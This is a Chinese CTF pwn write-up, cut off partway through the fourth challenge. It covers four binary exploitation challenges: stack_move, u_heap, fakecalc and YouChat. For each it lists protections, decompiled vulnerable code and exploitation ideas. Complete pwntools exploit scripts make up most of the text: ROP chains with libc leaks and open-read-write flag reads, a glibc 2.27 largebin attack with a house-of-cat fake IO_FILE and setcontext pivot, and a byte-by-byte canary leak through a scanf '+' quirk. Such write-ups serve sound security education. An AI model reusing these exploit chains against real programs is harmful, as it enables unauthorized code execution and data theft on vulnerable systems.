0%

stack_move

1
2
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
Compiled by GNU CC version 9.4.0.
1
2
3
4
5
6
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=71608a3832e991be0d289c6a86027c189b0c76ff, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
  • 64位,dynamically,Partial RELRO,NX
1
2
3
4
5
6
7
8
9
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
  • ban 了 execve

漏洞分析

简单栈溢出:

1
2
3
4
5
6
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

return read(0, buf, 0x130uLL);
}

入侵思路

先利用栈溢出写一个 puts(puts_got) 用于泄露 libc_base,然后填一个 main_addr 写循环

接下来可以选择栈迁移,也可以直接构造 read(0,stack_addr,0x300)(由于之前执行过 read,前两个参数不用修改)

最后写一个 ORW 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './vuln2'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('175.20.23.59','9999')

def debug():
gdb.attach(p,"b* 0x401268\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
payload = b"a"*0x108+p64(0x0000000000401363)+p64(0x404028)+p64(0x4010B0)+p64(0x4010F4)
sla("pwn!",payload)

ru("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - libc.sym["puts"]
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

bss_addr = 0x404060+0x200
pop_rdi_ret = 0x0000000000023b6a+libc_base
pop_rsi_ret = 0x000000000002601f+libc_base
pop_rdx_ret = 0x0000000000142c92+libc_base
pop_rax_ret = 0x0000000000036174+libc_base
syscall_ret = 0x0000000000083f6c+libc_base
pop_rbp_ret = 0x00000000000226c0+libc_base

open_libc = libc_base + libc.sym["open"]
read_libc = libc_base + libc.sym["read"]
write_libc = libc_base + libc.sym["write"]

payload = b"a"*0x108

# read(0, bss_addr, 0x30)
#payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x300)
payload += p64(read_libc)

sla("pwn!",payload)
sleep(1)

# open(bss_addr,0)
#payload += p64(pop_rax_ret) + p64(2)
payload = 0x120 * b"a"

payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x300)
payload += p64(read_libc)

payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(open_libc)
# read(3,bss_addr,0x60)
#payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(read_libc)
# write(1,bss_addr,0x60)
#payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(write_libc)

sl(payload)
flag = "flag"
p.send(flag)

p.interactive()

u_heap

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dc263a465ef3a751f65d9680e8cac0ed688783d3, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX

漏洞分析

堆溢出漏洞:

1
2
3
4
if ( key )
return read(0, (void *)chunk_list[index], size_list[index] + 2);
else
return read(0, (void *)chunk_list[index], (int)size_list[index]);

入侵思路

本题目的限制有点多,首先可以利用堆溢出的两字节来覆盖相邻下一个 chunk 的 size,从而构造出 unsorted chunk,从而泄露 libc_base:

1
2
3
4
5
6
7
8
9
10
edit(0,b"b"*0x68+p16(0x4e1))
delete(1)

add(18,0x70)
show(18)

leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x3ec0c0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

有了 libc_base 就可以触发程序提供的 gift 功能了:

1
2
3
4
5
6
7
8
9
10
11
12
writen("Input the password");
read(0, &buf, 8uLL);
if ( a1 == buf )
{
writen("Input the size");
size = readn();
malloc(size);
}
else
{
writen("worong!");
}
  • 只申请不写入,这里只能用于触发 largebin attack

根据程序的功能,接下来肯定是要打 largebin attack 的,但在此之前有一个问题让我纠结了很久:到底要不要构造堆风水去泄露 heap_base:

  • 利用堆风水实现的错位可以使我们打印出 heap_addr
  • 如果我们想构造堆风水去泄露 heap_addr,错位后的堆就不能使用 edit 去修改 large chunk
  • 如果我们不泄露 heap_addr,就没法在 largebin attack 后构造 house of cat 来打 IO

这似乎是一个两难的选择,我在打比赛时两种方式都试过,最后选择先不泄露 heap_addr

在 libc-2.27 版本下打 largebin attack 有两种方式,由于程序只提供了两次 free 的机会,因此我们只能选择将一个小于 large chunk 的 unsorted chunk 插入 largebin(另一种方法可以写两处地址,但是至少需要3个 free chunk)

1
2
3
4
5
6
7
8
9
10
11
edit(0,b"b"*0x68+p16(0x441))
gift(libc_base,0x600)
delete(18)

io_list_all = libc_base + 0x3ec660
success("io_list_all >> "+hex(io_list_all))

target_addr = io_list_all
payload = p64(0)+p64(0)+p64(0)+p64(target_addr-0x20)
edit(2,payload)
gift(libc_base,0x600)

往 io_list_all 中写入可控 heap_addr 后,可以查看一下此时的堆风水:

1
2
3
4
5
6
unsortedbin
all: 0x1def2c0 —▸ 0x7f4037bb3ca0 (main_arena+96) ◂— 0x1def2c0
smallbins
empty
largebins
0x440: 0x1def340 —▸ 0x7f4037bb40a0 (main_arena+1120) ◂— 0x1def340
  • 未进行 largebin attack 之前
1
2
3
4
5
6
7
pwndbg> telescope 0x1def340
00:0000│ r8 0x1def340 ◂— 0x0
01:00080x1def348 ◂— 0x461
02:00100x1def350 —▸ 0x1def2c0 ◂— 0x6262626262626262 ('bbbbbbbb')
03:00180x1def358 ◂— 0x0
04:00200x1def360 ◂— 0x0
05:00280x1def368 —▸ 0x1def2c0 ◂— 0x6262626262626262 ('bbbbbbbb')
  • 由于该 unsorted chunk 比 large chunk 小,因此该 chunk 在进入 largebin 后会插入 largebin 的尾部,也就是 large chunk->fd 的位置
1
2
3
4
pwndbg> telescope 0x6020A0
00:00000x6020a0 —▸ 0x1def260 ◂— 0x6262626262626262 ('bbbbbbbb')
01:00080x6020a8 —▸ 0x1def2d0 —▸ 0x7f4037bb40a0 (main_arena+1120) —▸ 0x7f4037bb4090 (main_arena+1104) —▸ 0x7f4037bb4080 (main_arena+1088) ◂— ...
02:00100x6020b0 —▸ 0x1def350 —▸ 0x1def2c0 ◂— 0x6262626262626262 ('bbbbbbbb')
  • 而这个位置的数据我们是可以打印的,也就泄露的 heap_base

最后伪造 fake_IO_FILE 去打 house of cat,由于程序单个 chunk 没有太多空间,我们只能分段进行伪造,另外 2.27 版本的 house of cat 和高版本有些许不同,可以一边动调一边修改高版本 house of cat 的模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
fake_io_addr = heap_base + 0x340 
payload_addr = heap_base + 0x340
flag_addr = heap_base + 0x340
success("fake_io_addr >> "+hex(fake_io_addr))

fake_IO_FILE1 = b"/bin/sh\x00" #_flags=rdi
fake_IO_FILE1 = fake_IO_FILE1.ljust(0x20, b'\x00')
fake_IO_FILE1 += p64(magic_addr)
fake_IO_FILE1 += p64(0)
fake_IO_FILE1 += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE1 += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE1 += p64(setcontext)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE1 = fake_IO_FILE1.ljust(0x58, b'\x00')
fake_IO_FILE1 += p64(0) # _chain

fake_IO_FILE2 = ""
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xa0-0x90, b'\x00')
fake_IO_FILE2 += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE2 += p64(ret)
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xb0-0x90, b'\x00')
fake_IO_FILE2 += p64(1) #mode=1
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xc0-0x90, b'\x00')
fake_IO_FILE2 += p64(1)
fake_IO_FILE2 += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE2 += p64(_IO_wfile_jumps+0x30)*6
fake_IO_FILE2 += p64(fake_io_addr+0x40) # rax2_addr

fake_IO_FILE3 = "a"*0x10

success("fake_io_addr+0x40 >> "+hex(fake_io_addr+0x40))
success("fake_IO_FILE1 len >> "+hex(len(fake_IO_FILE1)))
success("fake_IO_FILE2 len >> "+hex(len(fake_IO_FILE2)))

add(0,0x70)
add(0,0x70)
payload = fake_IO_FILE1
edit(0,payload)

payload = fake_IO_FILE2
edit(3,payload)

payload = p64(ret)*9+p64(magic2_addr)+p64(fake_io_addr+0x40)
edit(4,payload)
  • 动调时重点看 cmp 指令是否可以满足跳转指令的条件,若不满足则尝试修改 fake_IO_FILE 甚至是堆风水

当 house of cat 劫持程序执行流后,就可以调用 setcontext 完成栈迁移,最后打一个 ORW 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b*0x400F80\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla("choice:",str(op))

def add(index,size):
cmd(1)
sla("Index",str(index))
sla("size",str(size))

def edit(index,data):
cmd(2)
sla("Index",str(index))
sa("content",data)

def delete(index):
cmd(3)
sla("Index",str(index))

def show(index):
cmd(4)
sla("Index",str(index))

def gift(password,size):
cmd(5)
sa("password",p64(password))
sla("size",str(size))

#debug()

for i in range(1):
add(i,0x68)
for i in range(10):
add(i+1,0x70)

for i in range(10):
edit(i+1,p64(0x21)*13+p64(0x6020A0))

edit(0,b"b"*0x68+p16(0x4e1))
delete(1)

add(18,0x70)
show(18)

leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x3ec0c0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

edit(0,b"b"*0x68+p16(0x441))
gift(libc_base,0x600)
delete(18)

io_list_all = libc_base + 0x3ec660
success("io_list_all >> "+hex(io_list_all))

target_addr = io_list_all
payload = p64(0)+p64(0)+p64(0)+p64(target_addr-0x20)
edit(2,payload)
gift(libc_base,0x600)

show(2)
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
heap_base = leak_addr - 0x2c0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

libc_system = libc_base + libc.sym["system"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
setcontext = libc_base + libc.sym["setcontext"] + 53
success("setcontext >> "+hex(setcontext))

magic_addr = libc_base + 0x00000000000d28de # add rsp 0xe0
magic2_addr = libc_base + 0x00000000000e0b2d # add rsp 0x38
magic3_addr = libc_base + 0x000000000003e212 # add rsp 0x28
ret = libc_base + 0x00000000000008aa
pop_rax_ret = libc_base + 0x000000000001b500
pop_rdi_ret = libc_base + 0x000000000002164f
pop_rsi_ret = libc_base + 0x0000000000023a6a
pop_rdx_ret = libc_base + 0x0000000000001b96
syscall_ret = libc_base + 0x000000000013ff57

fake_io_addr = heap_base + 0x340
payload_addr = heap_base + 0x340
flag_addr = heap_base + 0x340
success("fake_io_addr >> "+hex(fake_io_addr))

fake_IO_FILE1 = b"/bin/sh\x00" #_flags=rdi
fake_IO_FILE1 = fake_IO_FILE1.ljust(0x20, b'\x00')
fake_IO_FILE1 += p64(magic_addr)
fake_IO_FILE1 += p64(0)
fake_IO_FILE1 += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE1 += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE1 += p64(setcontext)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE1 = fake_IO_FILE1.ljust(0x58, b'\x00')
fake_IO_FILE1 += p64(0) # _chain

fake_IO_FILE2 = ""
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xa0-0x90, b'\x00')
fake_IO_FILE2 += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE2 += p64(ret)
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xb0-0x90, b'\x00')
fake_IO_FILE2 += p64(1) #mode=1
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xc0-0x90, b'\x00')
fake_IO_FILE2 += p64(1)
fake_IO_FILE2 += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE2 += p64(_IO_wfile_jumps+0x30)*6
fake_IO_FILE2 += p64(fake_io_addr+0x40) # rax2_addr

fake_IO_FILE3 = "a"*0x10

success("fake_io_addr+0x40 >> "+hex(fake_io_addr+0x40))
success("fake_IO_FILE1 len >> "+hex(len(fake_IO_FILE1)))
success("fake_IO_FILE2 len >> "+hex(len(fake_IO_FILE2)))

add(0,0x70)
add(0,0x70)
payload = fake_IO_FILE1
edit(0,payload)

payload = fake_IO_FILE2
edit(3,payload)

payload = p64(ret)*9+p64(magic2_addr)+p64(fake_io_addr+0x40)
edit(4,payload)

payload = "./flag".ljust(8,b"\x00")
# open(bss_addr,0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(heap_base+0x4d0)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
payload += p64(magic3_addr)
edit(5,payload)

# read(3,bss_addr,0x60)
payload = ""
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(heap_base+0x4d0)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
payload += p64(magic2_addr)
edit(6,payload)

# write(1,bss_addr,0x60)
payload = p64(ret)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(heap_base+0x4d0)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
edit(7,payload)

cmd(2)
sla("Index",str(11))

p.interactive()

fakecalc

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=073f580c2010498ed638e9d9d4051016cb790fdb, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

栈溢出漏洞:

1
2
3
__isoc99_scanf("%d", &size);
for ( i = 0; i < size; ++i )
__isoc99_scanf("%hhd", &v5[i]);

有后门:

1
2
3
4
int door()
{
return execve("/bin/sh", 0LL, 0LL);
}

入侵思路

利用溢出可以泄露 canary,不过这里有一点需要注意:

1
2
for ( i = 0; i < size; ++i )
__isoc99_scanf("%hhd", &v5[i]);

在 scanf 写入失败时虽然可以不覆盖数据,但遗留在缓冲区中的数据并不会被销毁,这会导致之后所有的 scanf 失败(scanf 使用 stdin 缓冲区)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p _IO_2_1_stdin_
$2 = {
file = {
_flags = -72540021,
_IO_read_ptr = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_read_end = 0x7f731ca69a04 <_IO_2_1_stdin_+132> "",
_IO_read_base = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_write_base = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_write_ptr = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_write_end = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_buf_base = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_buf_end = 0x7f731ca69a04 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7f731ca6b7f0 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f731ca69a60 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f731ca664a0 <_IO_file_jumps>
}
  • stdin 缓冲区默认为 _IO_2_1_stdin_+131,如果不够用则会使用栈上 0x400 大小的空间,如果再不够则会调用 malloc 申请堆空间

分析 scanf 的源码可以找到解决办法:

1
2
3
4
case L_('d'):	/* Signed decimal integer.  */
base = 10;
flags |= NUMBER_SIGNED;
goto number;
1
2
3
4
5
6
7
8
9
10
11
12
13
number:
c = inchar ();
if (__glibc_unlikely (c == EOF))
input_error ();

/* Check for a sign. */
if (c == L_('-') || c == L_('+'))
{
char_buffer_add (&charbuf, c);
if (width > 0)
--width;
c = inchar ();
}
  • 当遇到 + - 时,scanf 会选择跳过然后匹配下一个字符,利用这一点即可使 scanf 不覆盖数据

这样我们就可以一次泄露1字节,将 canary 泄露出来,而在泄露 pro_base 时需要注意 canary 对后续计算的影响

下面是泄露使用的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
def leak_target(offset,canary=0):
leak = 0
leakt = 0
canary_offset = 0

if(canary!=0):
for i in range(8):
canary_offset += canary>>(8*i) & 0xff
canary_offset = canary_offset & 0xff
success("canary_offset >> "+hex(canary_offset))

leak_addr1 = add(offset,1,canary)
leakt = leak_addr1
leakt = sub_num(leakt,canary_offset)
leak += leakt*0x1
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,2,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x100
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,3,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x10000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,4,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x1000000
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,5,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x100000000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,6,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x10000000000
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,7,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x1000000000000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,8,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x100000000000000
success("leak_part >> "+hex(leakt))

return leak

leak_addr = leak_target(0x108)
canary = leak_addr
success("leak_addr >> "+hex(leak_addr))
success("canary >> "+hex(canary))

leak_addr = leak_target(0x118,canary)
pro_base = leak_addr - 0x19a3
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

最后覆盖返回地址为后门地址即可

本题目需要提权去执行一个没有 x 权限的程序,可以使用 ld 来进行操作:

1
2
3
4
5
6
exp ls -al ./getflag                  
-rw-r--r-- 1 yhellow yhellow 16688 118 23:57 ./getflag
exp ./getflag
zsh: 权限不够: ./getflag
exp /lib64/ld-linux-x86-64.so.2 ./getflag
flag{yhellow}

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './a.out1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x158C)\n")
pause()

def cmd(op):
sa("给我一个出路",str(op))

def sub_num(num1,num2):
re = num1 - num2
while re < 0:
re += 0x100
return re

def sum_num(num1,num2):
re = num1 + num2
while re > 0x100:
re -= 0x100
return re

def add(size,offset,canary=0):
cmd(1)
sla("number:",str(size+offset))
if canary==0:
for i in range(size):
sl("0")
else:
for i in range(0x108):
sl("0")
for i in range(8):
sl(str((canary>>(8*i))& 0xff))
for i in range(size-0x110):
sl("0")

for i in range(offset):
sl("+")
ru("result is ")
leak_addr = eval(ru("\n"))
return leak_addr

def edit(data,canary):
cmd(1)
sla("number:",str(0x118+len(data)))
for i in range(0x108):
sl("0")
for i in range(8):
sl(str((canary>>(8*i))& 0xff))
for i in range(8):
sl("0")
for i in data:
sl(str(ord(i)))

def leak_target(offset,canary=0):
leak = 0
leakt = 0
canary_offset = 0

if(canary!=0):
for i in range(8):
canary_offset += canary>>(8*i) & 0xff
canary_offset = canary_offset & 0xff
success("canary_offset >> "+hex(canary_offset))

leak_addr1 = add(offset,1,canary)
leakt = leak_addr1
leakt = sub_num(leakt,canary_offset)
leak += leakt*0x1
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,2,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x100
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,3,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x10000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,4,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x1000000
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,5,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x100000000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,6,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x10000000000
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,7,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x1000000000000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,8,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x100000000000000
success("leak_part >> "+hex(leakt))

return leak

leak_addr = leak_target(0x108)
canary = leak_addr
success("leak_addr >> "+hex(leak_addr))
success("canary >> "+hex(canary))

leak_addr = leak_target(0x118,canary)
pro_base = leak_addr - 0x19a3
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

pop_rdi_ret = pro_base + 0x0000000000001a73
pop_rsi_r15_ret = pro_base + 0x0000000000001a71
scanf_plt = pro_base + 0x1160
key_addr = pro_base + 0x404C
d_addr = pro_base + 0x20C9
door_addr = pro_base + 0x12BA

payload = p64(door_addr)

#debug()

edit(payload,canary)

p.interactive()

YouChat

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.12) stable release version 2.31.
1
2
3
4
5
6
YouChat: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d476e7cd0be2b555624f5111dedddeb8640df8f7, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

格式化字符串漏洞:

1
2
std::operator<<<std::char_traits<char>>(&std::cout, "[+] Successfully set a new status: ");
printf(buf);

栈溢出漏洞:

1
2
std::operator<<<std::char_traits<char>>(&std::cout, "Message:  ");
len = read(0, buf, 0x1000uLL);

入侵思路

需要先进行两个匹配进入核心功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
